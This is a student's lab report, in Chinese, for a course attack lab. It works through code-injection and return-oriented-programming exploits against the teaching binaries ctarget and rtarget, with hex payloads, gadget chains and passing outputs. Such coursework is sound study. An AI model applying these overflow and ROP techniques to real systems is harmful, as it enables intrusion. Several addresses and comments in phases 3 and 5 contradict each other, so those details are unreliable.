华东师范大学软件工程学院实验报告

姓　　名:	李鹏达	学　　号:	10225101460
实验编号:	Lab 03	实验名称:	Understanding Buffer Overflow Bugs

1　实验目的

1) 深入了解缓冲区溢出

2) 尝试简单地实践缓冲区溢出攻击

3) 对 x86-64 的堆栈和参数传递机制有更深入的了解

4) 获得更多使用 GDB 和 OBJDUMP 等调试工具的经验

2　实验内容与实验步骤

2.1　实验内容

此作业将帮助您详细了解 X86-64 调用约定和堆栈组织。它涉及对实验室目录中的可执行文件 bufbomb 应用一系列缓冲区溢出攻击（五次攻击）。

2.1.1　Code Injection Attacks

1) phase_1　在本部分中，不需要向程序注入新的代码。我们需要让程序重定向调用某个方法。

在程序 catrget 正常运行时，将会在函数 test() 内调用函数 getbuf()。函数 test() 的 C 代码如下所示。

函数 test() 的 C 代码

```c
void test()
{
    int val;
    val = getbuf();
    printf("No exploit. Getbuf returned 0x%x\n", val);
}
```

而我们的目的是使 getbuf() 函数返回时，调用函数 touch1()。

函数 touch1() 的 C 代码

```
1 void touch1()
2 {
3     vlevel = 1; /* Part of validation protocol */
4     printf("Touch1!: You called touch1()\n");
5     validate(1);
6     exit(0);
7 }
```

使用 objdump 反编译 ctarget。

```
1 linux> objdump -d ctarget > ctarget.s
```

首先，我们需要确定 getbuf() 的缓冲区大小。阅读汇编代码可以得知，其缓冲区大小为 0x28，即 40 字节。

getbuf() 函数反汇编代码

```
777 0000000004017a8 <getbuf>:
778   4017a8:   48 83 ec 28             sub    $0x28,%rsp
779   4017ac:   48 89 e7                mov    %rsp,%rdi
780   4017af:   e8 8c 02 00 00          callq  401a40 <Gets>
781   4017b4:   b8 01 00 00 00          mov    $0x1,%eax
782   4017b9:   48 83 c4 28             add    $0x28,%rsp
783   4017bd:   c3                      retq
784   4017be:   90                      nop
785   4017bf:   90                      nop
```

接下来阅读 touch1() 函数反汇编代码可知此函数地址为 0x00000000004017c0。

touch1() 函数反汇编代码

```
787 0000000004017c0 <touch1>:
788   4017c0:   48 83 ec 08             sub    $0x8,%rsp
789   4017c4:   c7 05 0e 2d 20 00 01    movl   $0x1,0x202d0e(%rip)        # 6044
    dc <vlevel>
790   4017cb:   00 00 00
791   4017ce:   bf c5 30 40 00          mov    $0x4030c5,%edi
792   4017d3:   e8 e8 f4 ff ff          callq  400cc0 <puts@plt>
793   4017d8:   bf 01 00 00 00          mov    $0x1,%edi
794   4017dd:   e8 ab 04 00 00          callq  401c8d <validate>
795   4017e2:   bf 00 00 00 00          mov    $0x0,%edi
796   4017e7:   e8 54 f6 ff ff          callq  400e40 <exit@plt>
```

因此，我们需要构造一份数据，内容为 40 个字节的任意数据加上 touch1() 函数的地址，来覆盖栈帧上的返回地址。由于 X86-64 使用小端法，因此我们需要将函数地址逆向填充。构造的十六进制数据 phase1.txt 如下。

为 phase_1 构造的十六进制数据

```
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
c0 17 40 00 00 00 00 00
```

使用工具 hex2raw 将其转换成攻击字符串并运行程序。

```
1 linux> ./hex2raw < phase1.txt | ./ctarget -q
```

2) phase_2 在这个部分，我们需要使 getbuf() 函数返回时，调用函数 touch2()，并将我们的 cookie 值作为参数传递。

函数 touch2() 的 C 代码如下所示。

函数 touch2() 的 C 代码

```
1  void touch2(unsigned val)
2  {
3      vlevel = 2; /* Part of validation protocol */
4      if (val == cookie) {
5          printf("Touch2!: You called touch2(0x%.8x)\n", val); validate(2);
6      } else {
7          printf("Misfire: You called touch2(0x%.8x)\n", val); fail(2);
8      }
9      exit(0);
10 }
```

从汇编代码中得知，touch2() 函数的地址为 0x00000000004017ec。

touch2() 函数反汇编代码

```
798 00000000004017ec <touch2>:
799   4017ec:   48 83 ec 08             sub    $0x8,%rsp
800   4017f0:   89 fa                   mov    %edi,%edx
801   4017f2:   c7 05 e0 2c 20 00 02    movl   $0x2,0x202ce0(%rip)        # 6044
    dc <vlevel>
802   4017f9:   00 00 00
803   4017fc:   3b 3d e2 2c 20 00       cmp    0x202ce2(%rip),%edi        # 6044
    e4 <cookie>
804   401802:   75 20                   jne    401824 <touch2+0x38>
```

```
805   401804:   be e8 30 40 00          mov    $0x4030e8,%esi
806   401809:   bf 01 00 00 00          mov    $0x1,%edi
807   40180e:   b8 00 00 00 00          mov    $0x0,%eax
808   401813:   e8 d8 f5 ff ff          callq  400df0 <__printf_chk@plt>
809   401818:   bf 02 00 00 00          mov    $0x2,%edi
810   40181d:   e8 6b 04 00 00          callq  401c8d <validate>
811   401822:   eb 1e                   jmp    401842 <touch2+0x56>
812   401824:   be 10 31 40 00          mov    $0x403110,%esi
813   401829:   bf 01 00 00 00          mov    $0x1,%edi
814   40182e:   b8 00 00 00 00          mov    $0x0,%eax
815   401833:   e8 b8 f5 ff ff          callq  400df0 <__printf_chk@plt>
816   401838:   bf 02 00 00 00          mov    $0x2,%edi
817   40183d:   e8 0d 05 00 00          callq  401d4f <fail>
818   401842:   bf 00 00 00 00          mov    $0x0,%edi
819   401847:   e8 f4 f5 ff ff          callq  400e40 <exit@plt>
```

因此，我们可以构造如下的汇编攻击代码 phase2.s。

构造的汇编攻击代码 phase2.s

```
1 mov    $0x59b997fa,%rdi
2 pushq  $0x4017ec
3 retq
```

该代码首先将我们的 cookie 值 0x59b997fa 赋给 $\%rdi$，令其成为第一个参数。接下来，将函数 touch2() 的地址压入栈中，接下来在返回时便可以返回至该地址。

使用 gcc 生成其二进制形式 phase2.o，并再次使用 objdump 进行反汇编，得到其十六进制表示。

```
1 linux> gcc -c phase2.s phase2.o
2 linux> objdump -d phase2.o > phase2.o.s
```

构造的汇编攻击代码 phase2.s 的十六进制表示

```
1
2 phase2.o:      文件格式 elf64-x86-64
3
4
5 Disassembly of section .text:
6
7 0000000000000000 <.text>:
8    0:   48 c7 c7 fa 97 b9 59    mov    $0x59b997fa,%rdi
9    7:   68 ec 17 40 00          pushq  $0x4017ec
10   c:   c3                      retq
```

我们需要知道该段攻击代码被插入的位置，可以使用 GDB 调试器来达到该目的。假设我们将攻击代码放在字符串的开头，注意到在 getbuf() 函数中，0x4017ac 地址处的指令时，栈指针已经分配完毕。因此我们可以在此处设置断点并查看 $\%rsp$ 寄存器的值。

```
(gdb) b *0x4017ac
Breakpoint 1 at 0x4017ac: file buf.c, line 14.
(gdb) r -q
Starting program: /home/pdli/Desktop/lab3/target1/ctarget -q
Cookie: 0x59b997fa

Breakpoint 1, getbuf () at buf.c:14
14      buf.c: 没有那个文件或目录.
(gdb) p/x $rsp
$1 = 0x5561dc78
```

得知攻击代码插入的地址应为 0x5561dc78。

因此，我们可以构造一份十六进制数据，起始为攻击代码，接下来用任意数据填充至四十字节，并在最后写入攻击代码的地址。构造的十六进制数据 phase2.txt 如下。

为 phase_2 构造的十六进制数据

```
48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
```

使用工具 hex2raw 将其转换成攻击字符串并运行程序。

```
linux> ./hex2raw < phase2.txt | ./ctarget -q
```

3) phase_3 在本部分，我们需要使 getbuf() 函数返回的时，执行 touch3() 而不是返回 test()。

函数 touch3() 的 C 代码如下所示。

函数 touch3() 的 C 代码

```
void touch3(char *sval)
{
    vlevel = 3; /* Part of validation protocol */
    if (hexmatch(cookie, sval)) {
        printf("Touch3!: You called touch3(\"%s\")\n", sval);
        validate(3);
    } else {
        printf("Misfire: You called touch3(\"%s\")\n", sval);
        fail(3);
```

```
10      }
11      exit(0);
12  }
```

从汇编代码中得知，touch3() 函数的地址为 0x00000000004018fa。

touch3() 函数反汇编代码

```
872 00000000004018fa <touch3>:
873   4018fa:   53                      push   %rbx
874   4018fb:   48 89 fb                mov    %rdi,%rbx
875   4018fe:   c7 05 d4 2b 20 00 03    movl   $0x3,0x202bd4(%rip)        # 6044
    dc <vlevel>
876   401905:   00 00 00
877   401908:   48 89 fe                mov    %rdi,%rsi
878   40190b:   8b 3d d3 2b 20 00       mov    0x202bd3(%rip),%edi        # 6044
    e4 <cookie>
879   401911:   e8 36 ff ff ff          callq  40184c <hexmatch>
880   401916:   85 c0                   test   %eax,%eax
881   401918:   74 23                   je     40193d <touch3+0x43>
882   40191a:   48 89 da                mov    %rbx,%rdx
883   40191d:   be 38 31 40 00          mov    $0x403138,%esi
884   401922:   bf 01 00 00 00          mov    $0x1,%edi
885   401927:   b8 00 00 00 00          mov    $0x0,%eax
886   40192c:   e8 bf f4 ff ff          callq  400df0 <__printf_chk@plt>
887   401931:   bf 03 00 00 00          mov    $0x3,%edi
888   401936:   e8 52 03 00 00          callq  401c8d <validate>
889   40193b:   eb 21                   jmp    40195e <touch3+0x64>
890   40193d:   48 89 da                mov    %rbx,%rdx
891   401940:   be 60 31 40 00          mov    $0x403160,%esi
892   401945:   bf 01 00 00 00          mov    $0x1,%edi
893   40194a:   b8 00 00 00 00          mov    $0x0,%eax
894   40194f:   e8 9c f4 ff ff          callq  400df0 <__printf_chk@plt>
895   401954:   bf 03 00 00 00          mov    $0x3,%edi
896   401959:   e8 f1 03 00 00          callq  401d4f <fail>
897   40195e:   bf 00 00 00 00          mov    $0x0,%edi
898   401963:   e8 d8 f4 ff ff          callq  400e40 <exit@plt>
```

其调用的函数 hexmatch() 的 C 代码如下。

函数 hexmatch() 的 C 代码

```
1  /* Compare string to hex represention of unsigned value */
2  int hexmatch(unsigned val, char *sval)
3  {
4      char cbuf[110];
```

```
5     /* Make position of check string unpredictable */
6     char *s = cbuf + random() % 100;
7     sprintf(s, "%.8x", val);
8     return strncmp(sval, s, 9) == 0;
9 }
```

由于在函数 hexmatch() 中，字符串 s 的位置是随机的，我们写在 getbuf() 函数栈中的字符串很有可能被覆盖，一旦被覆盖就无法正常比较。因此，考虑把 cookie 的字符串数据存在 test() 的栈上。可以使用 GDB 调试器找到应当存放 cookie 字符串的位置。注意到在 test() 函数中，0x40196c 地址处的指令时，栈指针已经分配完毕。因此我们可以在此处设置断点并查看 $\%rsp$ 寄存器的值。

```
1  (gdb) b *0x40196c
2  Breakpoint 1 at 0x40196c: file visible.c, line 92.
3  (gdb) r -q
4  Starting program: /home/pdli/Desktop/lab3/target1/ctarget -q
5  Cookie: 0x59b997fa
6
7  Breakpoint 1, test () at visible.c:92
8  92      visible.c: 没有那个文件或目录.
9  (gdb) p/x $rsp
10 $1 = 0x5561dca8
```

得知 cookie 字符串应存放的地址应为 0x5561dca8。与 phase_2 相同，攻击代码的地址为 0x4017ec。

接下来让我们构建攻击汇编代码。

构造的汇编攻击代码 phase3.s

```
1 mov    $0x59b997fa,%rdi
2 pushq  $004018fa
3 retq
```

该代码首先将我们的 cookie 字符串的地址 0x59b997fa 赋给 $\%rdi$，令其成为第一个参数。接下来，将函数 touch3() 的地址压入栈中，接下来在返回时便可以返回至该地址。

使用 gcc 生成其二进制形式 phase3.o，并再次使用 objdump 进行反汇编，得到其十六进制表示。

```
1 linux> gcc -c phase3.s phase3.o
2 linux> objdump -d phase3.o > phase3.o.s
```

构造的汇编攻击代码 phase3.s 的十六进制表示

```
 1
 2 phase3.o:      文件格式 elf64-x86-64
 3
 4
 5 Disassembly of section .text:
 6
 7 0000000000000000 <.text>:
 8    0:   48 c7 c7 a8 dc 61 55    mov    $0x5561dca8,%rdi
 9    7:   68 fa 18 40 00          pushq  $0x4017ec
10    c:   c3                      retq
```

cookie 值 0x59b997fa 作为字符串转换为 ascii 码表示为 35 39 62 39 39 37 66 61。因此，我们可以构造一份十六进制数据，起始为攻击代码，接下来用任意数据填充至四十字节，并在最后写入攻击代码的地址。构造的十六进制数据 phase3.txt 如下。

为 phase_3 构造的十六进制数据

```
48 c7 c7 a8 dc 61 55 68 fa 18 40 00 c3 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
78 dc 61 55 00 00 00 00
35 39 62 39 39 37 66 61
```

使用工具 hex2raw 将其转换成攻击字符串并运行程序。

```
1 linux> ./hex2raw < phase3.txt | ./ctarget -q
```

2.1.2 Return-Oriented Programming

对程序 RTARGET 执行代码注入攻击比对 CTARGET 困难得多，因为它使用两种技术来阻止此类攻击：它使用随机化，因此每次运行的堆栈位置都不同。这让人无法确定注入代码的位置。它将保存堆栈的内存部分标记为不可执行，因此即使您可以设置程序与注入代码的开头相反，程序将因分段错误而失败。

幸运的是，聪明的人已经设计出策略，通过执行来在程序中完成有用的事情现有代码，而不是注入新代码。最一般的形式称为返回导向编程 (ROP)。ROP 的策略是识别现有程序中的字节序列由一个或多个指令组成，后跟指令 ret。这样的段称为 gadget。

4) phase_4 在本部分，我们需要使用 ROP 攻击重新完成 phase_2 的任务。

首先，使用 objdump 反编译 rtarget。

```
1 linux> objdump -d rtarget > rtarget.s
```

可以考虑将所需 cookie 值存入栈中，使用 *pop* 指令将其弹出并赋给寄存器。查表可知，*pop* 指令对应的十六进制编码为 5*(* 为从 8 到 f 的数字)。在 rtarget.s 中搜索 “5* c3”，得到可用的程序片段如下表所示 (gadget_1)：

地址	十六进制编码	指令
0x4019ab	58 90 c3	pop %rax nop ret
0x4019cc	58 90 c3	pop %rax nop ret

由于发现只能将 pop 出的值赋给 rax 寄存器，因此我们还需要执行指令 “movq %rax,%rdi”，查表，发现其十六进制编码为 “48 89 c7”。因此，我们搜索 “48 89 c7 c3”，得到可用的程序片段如下表所示 (gadget_2)：

地址	十六进制编码	指令
0x4019a2	48 89 c7 c3	movq %rax,%rdi ret
0x4019c5	48 89 c7 90 c3	movq %rax,%rdi nop ret

因此，我们构造一份十六进制数据，起始时先将缓冲区填满，然后依次为 gadget_1，cookie，gadget_2，touch2。使用其中一组数据构造的十六进制数据 phase4.txt 如下。

为 phase_4 构造的十六进制数据

```
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
ab 19 40 00 00 00 00 00
fa 97 b9 59 00 00 00 00
a2 19 40 00 00 00 00 00
ec 17 40 00 00 00 00 00
```

使用工具 hex2raw 将其转换成攻击字符串并运行程序。

```
1 linux> ./hex2raw < phase4.txt | ./rtarget -q
```

5) phase_5 在本部分，我们需要使用 ROP 攻击重新完成 phase_3 的任务。

首先，我们需要获取栈指针的位置。查表可知，“movq %rsp,%*” 的十六进制表示为 “48 89 e*”，搜索可得下表：

地址	十六进制编码	指令
0x401a06	48 89 e0 c3	movq %rsp,%rax ret
0x4019c5	48 89 e0 90 c3	movq %rsp,%rax nop ret

注意到函数 add_xy() 中存在指令 “lea (%rdi,%rsi,1),%rax”，地址位于 0x4019d6，我们可以考虑利用其来引入字符串的地址。

因此，接下来我们需要将 rsp 寄存器的值转移给 rdi 寄存器，并在 rsi 寄存器中存入偏移量。在上一个部分中，我们曾使用过将 rax 寄存器的值赋给 rdi 寄存器的代码，如下表所示：

地址	十六进制编码	指令
0x4019a2	48 89 c7 c3	movq %rax,%rdi ret
0x4019c5	48 89 c7 90 c3	movq %rax,%rdi nop ret

接下来，我们考虑使用 pop 指令从栈中读取偏移量。依然使用我们曾经使用过的代码，如下表所示：

地址	十六进制编码	指令
0x4019ab	58 90 c3	pop %rax nop ret
0x4019cc	58 90 c3	pop %rax nop ret

接下来，经过查找，我们可以使用下表中的三条命令完成从 rax 寄存器到 rsi 寄存器的转移。

地址	十六进制编码	指令
0x4019dd	89 c2 90 c3	movl %eax,%edx nop ret

0x401a34	89 d1 38 c9 c3	movl %edx,%ecx
		cmp %cl,%cl
		ret

0x401a13	89 ce 90 90 c3	movl %ecx,%esi nop nop ret

这样，我们就可以写出攻击代码。首先填满缓冲区，再获得 rsp 寄存器的值并转移给 rdi 寄存器，然后在 rsi 寄存器中存入偏移量。最后获得字符串的地址，将其存入 rdi 寄存器，调用 touch3 函数。使用其中一组数据构造的十六进制数据 phase5.txt 如下。

为 phase_5 构造的十六进制数据

```
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
06 1a 40 00 00 00 00 00
c5 19 40 00 00 00 00 00
cc 19 40 00 00 00 00 00
48 00 00 00 00 00 00 00
dd 19 40 00 00 00 00 00
69 1a 40 00 00 00 00 00
13 1a 40 00 00 00 00 00
d6 19 40 00 00 00 00 00
c5 19 40 00 00 00 00 00
fa 18 40 00 00 00 00 00
35 39 62 39 39 37 66 61
00 00 00 00 00 00 00 00
```

使用工具 hex2raw 将其转换成攻击字符串并运行程序。

```
1 linux> ./hex2raw < phase5.txt | ./rtarget -q
```

2.2 实验步骤

1) 解打包 target1.tar

```
1 linux> tar -xvf target1.tar
```

2) 对可执行程序 ctarget 进行反汇编，生成 ctarget.s 文件

```
1 linux> objdump -d ctarget > ctarget.s
```

3) 阅读 ctarget.s 文件中的汇编代码，进行分析

4) 对可执行程序 rtarget 进行反汇编，生成 rtarget.s 文件

```
1 linux> objdump -d rtarget > rtarget.s
```

5) 阅读 rtarget.s 文件中的汇编代码，进行分析

6) 构建攻击代码

7) 进行缓冲区溢出攻击

3 实验过程与分析

实验的运行结果如下：

```
~/Desktop/lab3/target1 ./hex2raw < phase1.txt | ./ctarget -q                    at 17:43:58
Cookie: 0x59b997fa
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Would have posted the following:
        user id bovik
        course  15213-f15
        lab     attacklab
        result  1:PASS:0xffffffff:ctarget:1:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
0 00 00 00 00 00 00 00 00 00 00 00 00 00 C0 17 40 00 00 00 00 00
```

图 1: phase_1 运行结果

```
~/Desktop/lab3/target1 ./hex2raw < phase2.txt | ./ctarget -q                    at 17:43:54
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target ctarget
PASS: Would have posted the following:
        user id bovik
        course  15213-f15
        lab     attacklab
        result  1:PASS:0xffffffff:ctarget:2:48 C7 C7 FA 97 B9 59 68 EC 17 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 0
0 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00
```

图 2: phase_2 运行结果

```
~/Desktop/lab3/target1 ./hex2raw < phase3.txt | ./ctarget -q                    at 17:44:38
Cookie: 0x59b997fa
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:
        user id bovik
        course  15213-f15
        lab     attacklab
        result  1:PASS:0xffffffff:ctarget:3:48 C7 C7 A8 DC 61 55 68 FA 18 40 00 C3 00 00 00 00 00 00 00 00 00 00 0
0 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00 35 39 62 39 39 37 66 61
```

图 3: phase_3 运行结果

```
~/Desktop/lab3/target1 ./hex2raw < phase4.txt | ./rtarget -q                    at 17:45:03
Cookie: 0x59b997fa
Type string:Touch2!: You called touch2(0x59b997fa)
Valid solution for level 2 with target rtarget
PASS: Would have posted the following:
        user id bovik
        course  15213-f15
        lab     attacklab
        result  1:PASS:0xffffffff:rtarget:2:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
0 00 00 00 00 00 00 00 00 00 00 00 AB 19 40 00 00 00 00 00 FA 97 B9 59 00 00 00 00 A2 19 40 00 00 00 00 00 EC 1
7 40 00 00 00 00 00
```

图 4: phase_4 运行结果

```
~/Desktop/lab3/target1 ./hex2raw < phase5.txt | ./rtarget -q                    at 17:45:39
Cookie: 0x59b997fa
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target rtarget
PASS: Would have posted the following:
        user id bovik
        course  15213-f15
        lab     attacklab
        result  1:PASS:0xffffffff:rtarget:3:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
0 00 00 00 00 00 00 00 00 00 00 00 00 00 06 1A 40 00 00 00 00 00 C5 19 40 00 00 00 00 00 CC 19 40 00 00 00 00 00 48 0
0 00 00 00 00 00 00 DD 19 40 00 00 00 00 00 69 1A 40 00 00 00 00 00 13 1A 40 00 00 00 00 00 D6 19 40 00 00 00 00 00 C5 1
9 40 00 00 00 00 00 FA 18 40 00 00 00 00 00 35 39 62 39 39 37 66 61 00 00 00 00 00 00 00 00
```

图 5: phase_5 运行结果

4 实验结果总结

在本次实验中，首先我学习到了缓冲区溢出攻击以及 ROP 攻击的概念。通过使用 OBJDUMP 和 GDB 等工具对程序进行逆向工程和分析，我简单地尝试了缓冲区溢出攻击和 ROP 攻击。

这使我对 x86-64 的堆栈和参数传递机制有了更深入的了解，也获得了更多使用 GDB 和 OBJDUMP 等调试工具的经验。